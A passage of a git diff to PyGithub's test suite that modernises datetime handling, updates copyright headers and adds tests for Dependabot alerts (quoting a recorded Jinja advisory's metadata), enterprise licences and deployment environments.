Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -24,7 +35,7 @@ # # ################################################################################ -import datetime +from datetime import datetime, timezone from . import Framework @@ -46,24 +57,20 @@ def testAttributes(self): ) self.assertEqual(self.combined_status.statuses[1].id, 390603044) self.assertEqual(self.combined_status.statuses[2].state, "success") - self.assertEqual( - self.combined_status.statuses[3].description, "Build finished." - ) + self.assertEqual(self.combined_status.statuses[3].description, "Build finished.") self.assertEqual( self.combined_status.statuses[4].target_url, "https://build.testeng.edx.org/job/edx-platform-python-unittests-pr/10504/", ) self.assertEqual( self.combined_status.statuses[4].created_at, - datetime.datetime(2015, 12, 14, 13, 24, 18), + datetime(2015, 12, 14, 13, 24, 18, tzinfo=timezone.utc), ) self.assertEqual( self.combined_status.statuses[3].updated_at, - datetime.datetime(2015, 12, 14, 13, 23, 35), - ) - self.assertEqual( - self.combined_status.sha, "74e70119a23fa3ffb3db19d4590eccfebd72b659" + datetime(2015, 12, 14, 13, 23, 35, tzinfo=timezone.utc), ) + self.assertEqual(self.combined_status.sha, "74e70119a23fa3ffb3db19d4590eccfebd72b659") self.assertEqual(self.combined_status.total_count, 6) self.assertEqual(self.combined_status.repository.id, 10391073) self.assertEqual(self.combined_status.repository.full_name, "edx/edx-platform") diff --git a/tests/CommitComment.py b/tests/CommitComment.py index 8f1a58fb41..e1b2f5cdd8 100644 --- a/tests/CommitComment.py +++ b/tests/CommitComment.py @@ -8,7 +8,13 @@ # Copyright 2016 Peter Buckley # # Copyright 2017 Nicolas Agustín Torres # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # # Copyright 2020 Huan-Cheng Chang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -28,7 +34,7 @@ # # ################################################################################ -import datetime +from datetime import datetime, timezone from . import Framework @@ -40,11 +46,10 @@ def setUp(self): def testAttributes(self): self.assertEqual(self.comment.body, "Comment created by PyGithub") + self.assertEqual(self.comment.commit_id, "6945921c529be14c3a8f566dd1e483674516d46d") self.assertEqual( - self.comment.commit_id, "6945921c529be14c3a8f566dd1e483674516d46d" - ) - self.assertEqual( - self.comment.created_at, datetime.datetime(2012, 5, 22, 18, 40, 18) + self.comment.created_at, + datetime(2012, 5, 22, 18, 40, 18, tzinfo=timezone.utc), ) self.assertEqual( self.comment.html_url, @@ -55,7 +60,8 @@ def testAttributes(self): self.assertEqual(self.comment.path, None) self.assertEqual(self.comment.position, None) self.assertEqual( - self.comment.updated_at, datetime.datetime(2012, 5, 22, 18, 40, 18) + self.comment.updated_at, + datetime(2012, 5, 22, 18, 40, 18, tzinfo=timezone.utc), ) self.assertEqual( self.comment.url, diff --git a/tests/CommitStatus.py b/tests/CommitStatus.py index b94cf42425..c2118e6a24 100644 --- a/tests/CommitStatus.py +++ b/tests/CommitStatus.py @@ -9,6 +9,12 @@ # Copyright 2016 Peter Buckley # # Copyright 2017 Simon # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -28,7 +34,7 @@ # # ################################################################################ -import datetime +from datetime import datetime, timezone from . import Framework @@ -37,23 +43,20 @@ class CommitStatus(Framework.TestCase): def setUp(self): super().setUp() self.statuses = list( - self.g.get_user() - .get_repo("PyGithub") - .get_commit("1292bf0e22c796e91cc3d6e24b544aece8c21f2a") - .get_statuses() + self.g.get_user().get_repo("PyGithub").get_commit("1292bf0e22c796e91cc3d6e24b544aece8c21f2a").get_statuses() ) def testAttributes(self): self.assertEqual( - self.statuses[0].created_at, datetime.datetime(2012, 9, 8, 11, 30, 56) + self.statuses[0].created_at, + datetime(2012, 9, 8, 11, 30, 56, tzinfo=timezone.utc), ) self.assertEqual( - self.statuses[0].updated_at, datetime.datetime(2012, 9, 8, 11, 30, 56) + self.statuses[0].updated_at, + datetime(2012, 9, 8, 11, 30, 56, tzinfo=timezone.utc), ) self.assertEqual(self.statuses[0].creator.login, "jacquev6") - self.assertEqual( - self.statuses[0].description, "Status successfuly created by PyGithub" - ) + self.assertEqual(self.statuses[0].description, "Status successfuly created by PyGithub") self.assertEqual(self.statuses[1].description, None) self.assertEqual(self.statuses[0].id, 277040) self.assertEqual(self.statuses[0].state, "success") diff --git a/tests/ConditionalRequestUpdate.py b/tests/ConditionalRequestUpdate.py index a29eefdcf8..c4cb09ed37 100644 --- a/tests/ConditionalRequestUpdate.py +++ b/tests/ConditionalRequestUpdate.py @@ -1,11 +1,19 @@ ############################ Copyrights and license ############################ # # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2015 Uriel Corfa # # Copyright 2016 Peter Buckley # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -34,9 +42,7 @@ def setUp(self): self.repo = self.g.get_repo("akfish/PyGithub", lazy=False) def testDidNotUpdate(self): - self.assertFalse( - self.repo.update(), msg="The repo is not changed. But update() != False" - ) + self.assertFalse(self.repo.update(), msg="The repo is not changed. But update() != False") def testDidUpdate(self): self.assertTrue( diff --git a/tests/Connection.py b/tests/Connection.py index a0869d3e4d..b6347b8b12 100644 --- a/tests/Connection.py +++ b/tests/Connection.py @@ -1,6 +1,12 @@ ############################ Copyrights and license ############################ # # # Copyright 2019 Adam Baratz # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Liuyang Wan # +# Copyright 2020 Michał Górny # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -66,9 +72,7 @@ def __init__(self, file, protocol, host, port, realConnection): ("replaying_connection_class", "protocol", "response_body", "expected_recording"), list(tuple(itertools.chain(*p)) for p in PARAMETERS), ) -def testRecordAndReplay( - replaying_connection_class, protocol, response_body, expected_recording -): +def testRecordAndReplay(replaying_connection_class, protocol, response_body, expected_recording): file = StringIO() host = "api.github.com" verb = "GET" @@ -84,9 +88,7 @@ def testRecordAndReplay( connection.getresponse.return_value = response # write mock response to buffer - recording_connection = RecordingMockConnection( - file, protocol, host, None, lambda *args, **kwds: connection - ) + recording_connection = RecordingMockConnection(file, protocol, host, None, lambda *args, **kwds: connection) recording_connection.request(verb, url, None, headers) recording_connection.getresponse() recording_connection.close() diff --git a/tests/ContentFile.py b/tests/ContentFile.py index 1b3c61fba8..cdc3ba6ba4 100644 --- a/tests/ContentFile.py +++ b/tests/ContentFile.py @@ -9,6 +9,11 @@ # Copyright 2017 Simon # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # diff --git a/tests/DependabotAlert.py b/tests/DependabotAlert.py index e19eed9c80..160cc8eaf0 100644 --- a/tests/DependabotAlert.py +++ b/tests/DependabotAlert.py @@ -1,44 +1,185 @@ +############################ Copyrights and license ############################ +# # +# Copyright 2024 Thomas Cooper # +# # +# This file is part of PyGithub. # +# http://pygithub.readthedocs.io/ # +# # +# PyGithub is free software: you can redistribute it and/or modify it under # +# the terms of the GNU Lesser General Public License as published by the Free # +# Software Foundation, either version 3 of the License, or (at your option) # +# any later version. # +# # +# PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # +# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # +# FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # +# details. # +# # +# You should have received a copy of the GNU Lesser General Public License # +# along with PyGithub. If not, see . # +# # +################################################################################ + +from datetime import datetime, timezone + +import pytest + +import github.DependabotAlert +import github.PaginatedList + from . import Framework class DependabotAlert(Framework.TestCase): + alert: github.DependabotAlert.DependabotAlert + def setUp(self): super().setUp() - self.repo = self.g.get_user().get_repo("PyGithub") + self.repo = self.g.get_repo("coopernetes/PyGithub") def testAttributes(self): - alert = self.repo.get_dependabot_alerts()[0] - - self.assertIn("2022-06-15T07:43:03Z", alert.created_at) - self.assertIn("pip", alert.dependency.package.ecosystem) - self.assertIn("django", alert.dependency.package.name) - self.assertIn("path/to/requirements.txt", alert.dependency.manifest_path) - self.assertIn("pip", alert.security_vulnerability.package.ecosystem) - self.assertIn("django", alert.security_vulnerability.package.name) - self.assertIn("high", alert.security_vulnerability.severity) - self.assertIn( - ">= 2.0.0, < 2.0.2", alert.security_vulnerability.vulnerable_version_range - ) - self.assertIn( - "2.0.2", alert.security_vulnerability.first_patched_version.identifier - ) - self.assertIn("2022-08-23T14:29:47Z", alert.dismissed_at) - self.assertIn( - "This alert is accurate but we use a sanitizer.", alert.dismissed_comment - ) - self.assertIn("tolerable_risk", alert.dismissed_reason) - self.assertEqual(None, alert.fixed_at) - self.assertIn( - "https://github.com/octocat/hello-world/security/dependabot/2", - alert.html_url, - ) - self.assertEqual(2, alert.number) - self.assertIn("dismissed", alert.state) - self.assertIn("2022-08-23T14:29:47Z", alert.updated_at) - self.assertIn( - "https://api.github.com/repos/octocat/hello-world/dependabot/alerts/2", - alert.url, - ) - self.assertIn("octocat", alert.dismissed_by.login) - self.assertEqual(None, alert.auto_dismissed_at) - self.assertIn("high", alert.security_vulnerability.severity) + alert = self.repo.get_dependabot_alert(1) + self.assertEqual(alert.number, 1) + self.assertEqual(alert.state, "dismissed") + self.assertEqual(alert.dependency.package.ecosystem, "pip") + self.assertEqual(alert.dependency.package.name, "jinja2") + self.assertEqual(alert.dependency.manifest_path, "requirements/docs.txt") + self.assertEqual(alert.dependency.scope, "runtime") + self.assertEqual(alert.security_advisory.ghsa_id, "GHSA-h5c8-rqwp-cp95") + self.assertEqual(alert.security_advisory.cve_id, "CVE-2024-22195") + self.assertEqual( + alert.security_advisory.summary, + "Jinja vulnerable to HTML attribute injection when passing user input as keys to xmlattr filter", + ) + self.assertEqual( + alert.security_advisory.description, + "The `xmlattr` filter in affected versions of Jinja accepts keys containing spaces. XML/HTML attributes cannot contain spaces, as each would then be interpreted as a separate attribute. If an application accepts keys (as opposed to only values) as user input, and renders these in pages that other users see as well, an attacker could use this to inject other attributes and perform XSS. Note that accepting keys as user input is not common or a particularly intended use case of the `xmlattr` filter, and an application doing so should already be verifying what keys are provided regardless of this fix.", + ) + self.assertEqual(alert.security_advisory.severity, "medium") + self.assertEqual(alert.security_advisory.identifiers[0]["value"], "GHSA-h5c8-rqwp-cp95") + self.assertEqual(alert.security_advisory.identifiers[0]["type"], "GHSA") + self.assertEqual(alert.security_advisory.identifiers[1]["value"], "CVE-2024-22195") + self.assertEqual(alert.security_advisory.identifiers[1]["type"], "CVE") + self.assertEqual( + alert.security_advisory.references[0]["url"], + "https://github.com/pallets/jinja/security/advisories/GHSA-h5c8-rqwp-cp95", + ) + self.assertEqual( + alert.security_advisory.references[1]["url"], "https://nvd.nist.gov/vuln/detail/CVE-2024-22195" + ) + self.assertEqual( + alert.security_advisory.references[2]["url"], + "https://github.com/pallets/jinja/commit/716795349a41d4983a9a4771f7d883c96ea17be7", + ) + self.assertEqual( + alert.security_advisory.references[3]["url"], "https://github.com/pallets/jinja/releases/tag/3.1.3" + ) + self.assertEqual( + alert.security_advisory.references[4]["url"], "https://github.com/advisories/GHSA-h5c8-rqwp-cp95" + ) + self.assertEqual(alert.security_advisory.published_at, datetime(2024, 1, 11, 15, 20, 48, tzinfo=timezone.utc)) + self.assertEqual(alert.security_advisory.updated_at, datetime(2024, 1, 11, 15, 20, 50, tzinfo=timezone.utc)) + self.assertEqual(alert.security_advisory.withdrawn_at, None) + self.assertEqual(alert.security_advisory.vulnerabilities[0].package.ecosystem, "pip") + self.assertEqual(alert.security_advisory.vulnerabilities[0].package.name, "jinja2") + self.assertEqual(alert.security_advisory.vulnerabilities[0].vulnerable_version_range, "< 3.1.3") + self.assertEqual(alert.security_advisory.vulnerabilities[0].severity, "medium") + self.assertEqual(alert.security_advisory.vulnerabilities[0].first_patched_version["identifier"], "3.1.3") + self.assertEqual(alert.security_vulnerability.package.ecosystem, "pip") + self.assertEqual(alert.security_vulnerability.package.name, "jinja2") + self.assertEqual(alert.security_vulnerability.vulnerable_version_range, "< 3.1.3") + self.assertEqual(alert.security_vulnerability.severity, "medium") + self.assertEqual(alert.security_vulnerability.first_patched_version["identifier"], "3.1.3") + self.assertEqual(alert.url, "https://api.github.com/repos/coopernetes/PyGithub/dependabot/alerts/1") + self.assertEqual(alert.html_url, "https://github.com/coopernetes/PyGithub/security/dependabot/1") + self.assertEqual(alert.created_at, datetime(2024, 1, 20, 17, 12, 38, tzinfo=timezone.utc)) + self.assertEqual(alert.updated_at, datetime(2024, 1, 21, 3, 35, 38, tzinfo=timezone.utc)) + self.assertEqual(alert.dismissed_at, datetime(2024, 1, 21, 3, 35, 38, tzinfo=timezone.utc)) + self.assertEqual(alert.dismissed_by.login, "coopernetes") + self.assertEqual(alert.dismissed_reason, "tolerable_risk") + self.assertEqual(alert.dismissed_comment, "Example comment") + self.assertEqual(alert.fixed_at, None) + + def testMultipleAlerts(self): + multiple_alerts = self.repo.get_dependabot_alerts() + self.assertIsInstance(multiple_alerts, github.PaginatedList.PaginatedList) + self.assertIsInstance(multiple_alerts[0], github.DependabotAlert.DependabotAlert) + alert_list = [alert for alert in multiple_alerts] + test_alert = alert_list[0] + + self.assertEqual(len(alert_list), 1) + # Everything below is the same as testAttributes. This is just to make sure the list works. + self.assertEqual(test_alert.number, 1) + self.assertEqual(test_alert.state, "dismissed") + self.assertEqual(test_alert.dependency.package.ecosystem, "pip") + self.assertEqual(test_alert.dependency.package.name, "jinja2") + self.assertEqual(test_alert.dependency.manifest_path, "requirements/docs.txt") + self.assertEqual(test_alert.dependency.scope, "runtime") + self.assertEqual(test_alert.security_advisory.ghsa_id, "GHSA-h5c8-rqwp-cp95") + self.assertEqual(test_alert.security_advisory.cve_id, "CVE-2024-22195") + self.assertEqual( + test_alert.security_advisory.summary, + "Jinja vulnerable to HTML attribute injection when passing user input as keys to xmlattr filter", + ) + self.assertEqual( + test_alert.security_advisory.description, + "The `xmlattr` filter in affected versions of Jinja accepts keys containing spaces. XML/HTML attributes cannot contain spaces, as each would then be interpreted as a separate attribute. If an application accepts keys (as opposed to only values) as user input, and renders these in pages that other users see as well, an attacker could use this to inject other attributes and perform XSS. Note that accepting keys as user input is not common or a particularly intended use case of the `xmlattr` filter, and an application doing so should already be verifying what keys are provided regardless of this fix.", + ) + self.assertEqual(test_alert.security_advisory.severity, "medium") + self.assertEqual(test_alert.security_advisory.identifiers[0]["value"], "GHSA-h5c8-rqwp-cp95") + self.assertEqual(test_alert.security_advisory.identifiers[0]["type"], "GHSA") + self.assertEqual(test_alert.security_advisory.identifiers[1]["value"], "CVE-2024-22195") + self.assertEqual(test_alert.security_advisory.identifiers[1]["type"], "CVE") + self.assertEqual( + test_alert.security_advisory.published_at, datetime(2024, 1, 11, 15, 20, 48, tzinfo=timezone.utc) + ) + self.assertEqual( + test_alert.security_advisory.updated_at, datetime(2024, 1, 11, 15, 20, 50, tzinfo=timezone.utc) + ) + self.assertEqual(test_alert.security_advisory.withdrawn_at, None) + self.assertEqual(test_alert.security_advisory.vulnerabilities[0].package.ecosystem, "pip") + self.assertEqual(test_alert.security_advisory.vulnerabilities[0].package.name, "jinja2") + self.assertEqual(test_alert.security_advisory.vulnerabilities[0].vulnerable_version_range, "< 3.1.3") + self.assertEqual(test_alert.security_advisory.vulnerabilities[0].severity, "medium") + self.assertEqual(test_alert.security_advisory.vulnerabilities[0].first_patched_version["identifier"], "3.1.3") + self.assertEqual(test_alert.security_vulnerability.package.ecosystem, "pip") + self.assertEqual(test_alert.security_vulnerability.package.name, "jinja2") + self.assertEqual(test_alert.security_vulnerability.vulnerable_version_range, "< 3.1.3") + self.assertEqual(test_alert.security_vulnerability.severity, "medium") + self.assertEqual(test_alert.security_vulnerability.first_patched_version["identifier"], "3.1.3") + + self.assertEqual(test_alert.url, "https://api.github.com/repos/coopernetes/PyGithub/dependabot/alerts/1") + self.assertEqual(test_alert.html_url, "https://github.com/coopernetes/PyGithub/security/dependabot/1") + self.assertEqual(test_alert.created_at, datetime(2024, 1, 20, 17, 12, 38, tzinfo=timezone.utc)) + self.assertEqual(test_alert.updated_at, datetime(2024, 1, 20, 22, 4, tzinfo=timezone.utc)) + self.assertEqual(test_alert.dismissed_at, datetime(2024, 1, 20, 22, 4, tzinfo=timezone.utc)) + self.assertEqual(test_alert.dismissed_by.login, "coopernetes") + self.assertEqual(test_alert.dismissed_reason, "tolerable_risk") + self.assertEqual(test_alert.dismissed_comment, "Example comment") + self.assertEqual(test_alert.fixed_at, None) + + def testRepr(self): + alert = self.repo.get_dependabot_alert(1) + self.assertEqual(repr(alert), 'DependabotAlert(number=1, ghsa_id="GHSA-h5c8-rqwp-cp95")') + + def testGetAlertsWithAllArguments(self): + alerts = self.repo.get_dependabot_alerts( + "open", "medium", "pip", "foo,jinja2", "bar/package.json,requirements/docs.txt", "runtime", "created", "asc" + ) + self.assertEqual(len(list(alerts)), 1) + + def testUpdateAlertDismissedWithoutReason(self): + with pytest.raises(AssertionError): + self.repo.update_dependabot_alert(1, "dismissed") + + def testUpdateAlertOpen(self): + alert = self.repo.update_dependabot_alert(1, "open") + self.assertEqual(alert.state, "open") + self.assertEqual(alert.dismissed_reason, None) + self.assertEqual(alert.dismissed_comment, None) + + def testUpdateAlertDismissed(self): + alert = self.repo.update_dependabot_alert(1, "dismissed", "tolerable_risk", "Example comment") + self.assertEqual(alert.state, "dismissed") + self.assertEqual(alert.dismissed_reason, "tolerable_risk") + self.assertEqual(alert.dismissed_comment, "Example comment") diff --git a/tests/Deployment.py b/tests/Deployment.py index b0c2fbcb4a..8aac2da6e1 100644 --- a/tests/Deployment.py +++ b/tests/Deployment.py @@ -1,7 +1,20 @@ ############################ Copyrights and license ############################ # # -# Copyright 2020 Steve Kowalik # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 Vincent Jacques # +# Copyright 2014 Vincent Jacques # +# Copyright 2016 Jannis Gebauer # +# Copyright 2016 Peter Buckley # +# Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # # Copyright 2020 Pascal Hofmann # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Nevins # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -21,7 +34,7 @@ # # ################################################################################ -import datetime +from datetime import datetime, timezone from . import Framework @@ -29,9 +42,7 @@ class Deployment(Framework.TestCase): def setUp(self): super().setUp() - self.deployment = ( - self.g.get_user().get_repo("PyGithub").get_deployment(263877258) - ) + self.deployment = self.g.get_user().get_repo("PyGithub").get_deployment(263877258) def testAttributes(self): self.assertEqual(self.deployment.id, 263877258) @@ -39,16 +50,15 @@ def testAttributes(self): self.deployment.url, "https://api.github.com/repos/jacquev6/PyGithub/deployments/263877258", ) - self.assertEqual( - self.deployment.sha, "743f5a58b0bce91c4eab744ff7e39dfca9e6e8a5" - ) + self.assertEqual(self.deployment.ref, "743f5a58b0bce91c4eab744ff7e39dfca9e6e8a5") + self.assertEqual(self.deployment.sha, "743f5a58b0bce91c4eab744ff7e39dfca9e6e8a5") self.assertEqual(self.deployment.task, "deploy") self.assertEqual(self.deployment.payload, {"test": True}) self.assertEqual(self.deployment.original_environment, "test") self.assertEqual(self.deployment.environment, "test") self.assertEqual(self.deployment.description, "Test deployment") self.assertEqual(self.deployment.creator.login, "jacquev6") - created_at = datetime.datetime(2020, 8, 26, 11, 44, 53) + created_at = datetime(2020, 8, 26, 11, 44, 53, tzinfo=timezone.utc) self.assertEqual(self.deployment.created_at, created_at) self.assertEqual(self.deployment.updated_at, created_at) self.assertEqual(self.deployment.transient_environment, True) diff --git a/tests/DeploymentStatus.py b/tests/DeploymentStatus.py index 0b4a226680..77818c6964 100644 --- a/tests/DeploymentStatus.py +++ b/tests/DeploymentStatus.py @@ -1,7 +1,20 @@ ############################ Copyrights and license ############################ # # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 Vincent Jacques # +# Copyright 2014 Vincent Jacques # +# Copyright 2016 Jannis Gebauer # +# Copyright 2016 Peter Buckley # +# Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # # Copyright 2020 Colby Gallup # # Copyright 2020 Pascal Hofmann # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -21,7 +34,7 @@ # # ################################################################################ -import datetime +from datetime import datetime, timezone from . import Framework @@ -29,14 +42,12 @@ class DeploymentStatus(Framework.TestCase): def setUp(self): super().setUp() - self.deployment = ( - self.g.get_user().get_repo("PyGithub").get_deployment(263877258) - ) + self.deployment = self.g.get_user().get_repo("PyGithub").get_deployment(263877258) self.status = self.deployment.get_status(388454671) def testAttributes(self): self.assertEqual(self.status.id, 388454671) - created_at = datetime.datetime(2020, 8, 26, 14, 32, 51) + created_at = datetime(2020, 8, 26, 14, 32, 51, tzinfo=timezone.utc) self.assertEqual(self.status.created_at, created_at) self.assertEqual(self.status.creator.login, "jacquev6") self.assertEqual( diff --git a/tests/Download.py b/tests/Download.py index d1c3e75270..0d1b699744 100644 --- a/tests/Download.py +++ b/tests/Download.py @@ -7,6 +7,11 @@ # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -26,7 +31,7 @@ # # ################################################################################ -import datetime +from datetime import datetime, timezone from . import Framework @@ -42,7 +47,8 @@ def testAttributes(self): self.assertEqual(self.download.bucket, None) self.assertEqual(self.download.content_type, "text/plain") self.assertEqual( - self.download.created_at, datetime.datetime(2012, 5, 22, 18, 58, 32) + self.download.created_at, + datetime(2012, 5, 22, 18, 58, 32, tzinfo=timezone.utc), ) self.assertEqual(self.download.description, None) self.assertEqual(self.download.download_count, 0) diff --git a/tests/Enterprise.py b/tests/Enterprise.py index b0a5ee4d9d..be4d1208be 100644 --- a/tests/Enterprise.py +++ b/tests/Enterprise.py @@ -5,7 +5,14 @@ # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # +# Copyright 2018 Steve Kowalik # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -33,9 +40,7 @@ # Replay data for this test case is forged, because I don't have access to a real Github Enterprise install class Enterprise(Framework.BasicTestCase): def testHttps(self): - g = github.Github( - self.login, self.password, base_url="https://my.enterprise.com" - ) + g = github.Github(auth=self.login, base_url="https://my.enterprise.com") self.assertListKeyEqual( g.get_user().get_repos(), lambda r: r.name, @@ -60,9 +65,7 @@ def testHttps(self): ) def testHttp(self): - g = github.Github( - self.login, self.password, base_url="http://my.enterprise.com" - ) + g = github.Github(auth=self.login, base_url="http://my.enterprise.com") self.assertListKeyEqual( g.get_user().get_repos(), lambda r: r.name, @@ -88,17 +91,11 @@ def testHttp(self): def testUnknownUrlScheme(self): with self.assertRaises(AssertionError) as raisedexp: - github.Github( - self.login, self.password, base_url="foobar://my.enterprise.com" - ) + github.Github(auth=self.login, base_url="foobar://my.enterprise.com") self.assertEqual(raisedexp.exception.args[0], "Unknown URL scheme") def testLongUrl(self): - g = github.Github( - self.login, - self.password, - base_url="http://my.enterprise.com/path/to/github", - ) + g = github.Github(auth=self.login, base_url="http://my.enterprise.com/path/to/github") repos = g.get_user().get_repos() self.assertListKeyEqual( repos, @@ -125,9 +122,7 @@ def testLongUrl(self): self.assertEqual(repos[0].owner.name, "Vincent Jacques") def testSpecificPort(self): - g = github.Github( - self.login, self.password, base_url="http://my.enterprise.com:8080" - ) + g = github.Github(auth=self.login, base_url="http://my.enterprise.com:8080") self.assertListKeyEqual( g.get_user().get_repos(), lambda r: r.name, diff --git a/tests/EnterpriseAdmin.py b/tests/EnterpriseAdmin.py new file mode 100644 index 0000000000..9bc5e678e6 --- /dev/null +++ b/tests/EnterpriseAdmin.py @@ -0,0 +1,69 @@ +############################ Copyrights and license ############################ +# # +# Copyright 2023 Enrico Minack # +# Copyright 2023 YugoHino # +# # +# This file is part of PyGithub. # +# http://pygithub.readthedocs.io/ # +# # +# PyGithub is free software: you can redistribute it and/or modify it under # +# the terms of the GNU Lesser General Public License as published by the Free # +# Software Foundation, either version 3 of the License, or (at your option) # +# any later version. # +# # +# PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # +# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # +# FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # +# details. # +# # +# You should have received a copy of the GNU Lesser General Public License # +# along with PyGithub. If not, see . # +# # +################################################################################ + + +from . import Framework + + +class EnterpriseAdmin(Framework.TestCase): + def setUp(self): + super().setUp() + self.enterprise = self.g.get_enterprise("beaver-group") + + def testAttributes(self): + self.assertEqual(self.enterprise.enterprise, "beaver-group") + self.assertEqual(self.enterprise.url, "/enterprises/beaver-group") + self.assertEqual(repr(self.enterprise), 'Enterprise(enterprise="beaver-group")') + + def testGetConsumedLicenses(self): + consumed_licenses = self.enterprise.get_consumed_licenses() + self.assertEqual(consumed_licenses.total_seats_consumed, 102) + self.assertEqual(consumed_licenses.total_seats_purchased, 103) + + def testGetEnterpriseUsers(self): + enterprise_users = self.enterprise.get_consumed_licenses().get_users() + enterprise_users_list = [ + [ + users.github_com_login, + users.github_com_name, + users.enterprise_server_user_ids, + users.github_com_user, + users.enterprise_server_user, + users.visual_studio_subscription_user, + users.license_type, + users.github_com_profile, + users.github_com_member_roles, + users.github_com_enterprise_roles, + users.github_com_verified_domain_emails, + users.github_com_saml_name_id, + users.github_com_orgs_with_pending_invites, + users.github_com_two_factor_auth, + users.enterprise_server_primary_emails, + users.visual_studio_license_status, + users.visual_studio_subscription_email, + users.total_user_accounts, + ] + for users in enterprise_users + ] + self.assertEqual(len(enterprise_users_list), 102) + self.assertEqual(enterprise_users_list[42][0], "beaver-user043") diff --git a/tests/Environment.py b/tests/Environment.py new file mode 100644 index 0000000000..d3601bf300 --- /dev/null +++ b/tests/Environment.py @@ -0,0 +1,245 @@ +############################ Copyrights and license ############################ +# # +# Copyright 2023 Andrew Dawes <53574062+AndrewJDawes@users.noreply.github.com> # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 alson # +# # +# This file is part of PyGithub. # +# http://pygithub.readthedocs.io/ # +# # +# PyGithub is free software: you can redistribute it and/or modify it under # +# the terms of the GNU Lesser General Public License as published by the Free # +# Software Foundation, either version 3 of the License, or (at your option) # +# any later version. # +# # +# PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # +# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # +# FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # +# details. # +# # +# You should have received a copy of the GNU Lesser General Public License # +# along with PyGithub. If not, see . # +# # +################################################################################ + +from datetime import datetime, timezone +from unittest import mock + +import pytest # type: ignore + +import github +import github.EnvironmentDeploymentBranchPolicy +import github.EnvironmentProtectionRule +import github.EnvironmentProtectionRuleReviewer +import github.NamedUser +import github.Team + +from . import Framework + + +class Environment(Framework.TestCase): + def setUp(self): + self.tokenAuthMode = True + super().setUp() + self.repo = self.g.get_user().get_repo("PyGithub") + self.environment = 